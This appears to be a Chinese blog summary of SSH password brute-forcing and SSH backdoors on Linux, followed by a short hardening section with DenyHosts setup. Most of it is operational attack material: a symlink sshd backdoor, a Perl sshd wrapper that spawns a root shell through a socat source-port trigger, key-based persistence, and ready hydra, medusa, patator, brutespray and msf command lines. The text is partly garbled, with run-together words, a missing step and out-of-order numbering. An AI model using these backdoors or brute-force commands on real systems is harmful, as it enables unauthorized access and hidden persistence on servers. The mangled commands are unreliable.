关于linux中SSH爆破总结
2.思路
(1)对root账号进行暴力破解
(2)使用中国姓名top1000作为用户名进行暴力破解
(3)使用top 10000 password字典进行密码破解
(4)利用掌握信息进行社工信息整理并生成字典暴力破解
(5)信息的综合利用以及循环利用
ssh后门
1. 软连接后门
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;
经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。
但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。
2.SSH Server wrapper后门
(1)复制sshd到bin目录
cd /usr/sbin
mv sshd ../bin
(2)编辑sshd
vi sshd //加入以下内容并保存
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
(4)修改权限
chmod 755 sshd
(5)使用socat
socat STDIOTCP4:target_ip:22,sourceport=19526
如果没有安装socat需要进行安装并编译
wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz
tar -zxvf socat-1.7.3.2.tar.gz
cd socat-1.7.3.2
./configure
make
make install
(6)使用ssh root@ target_ip即可免密码登录
3.ssh公钥免密
将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
ssh暴力破解命令总结及分析
1.所有工具的比较
通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:
(1)每款软件都能成功对ssh账号以及密码进行破解。
(2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。
(3)hydra和medusa是基于C语言编写的,需要进行编译。
(4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。
(5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。
(6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。
(7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。
2.命令总结
(1)hydra破解ssh密码
hydra -lroot -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh
hydra -lroot -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh
(2)medusa破解ssh密码
medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt
medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F
(3)patator破解ssh密码
./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'
如果不是本地安装,则使用patator执行即可。
(4)brutespray暴力破解ssh密码
nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml
pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5
(5)msf暴力破解ssh密码
use auxiliary
set rhosts192.168.17.147
setPASS_FILE
setUSER_FILE
run
九、 SSH暴力破解安全防范
1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232
2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow
3.使用DenyHosts软件来设置,其下载地址:
https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download
(1)安装cdDenyHosts
# tar-zxvf DenyHosts-2.6.tar.gz
# cdDenyHosts-2.6
# pythonsetup.py install
默认是安装到/usr/share/denyhosts目录的。
(2)配置cdDenyHosts
PURGE_DENY= 50m #过多久后清除已阻止IP
HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny
BLOCK_SERVICE= sshd #阻止服务名
DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数
DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数
DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数
WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中
DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹
LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。
HOSTNAME_LOOKUP=NO#是否做域名反解
ADMIN_EMAIL= #设置管理员邮件地址
DAEMON_LOG= /var/log/denyhosts #自己的日志文件
DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。
(3)设置启动脚本
完了之后执行daemon-contronstart就可以了。
#./daemon-control start
如果要使DenyHosts每次重起后自动启动还需做如下设置:
可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。
以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。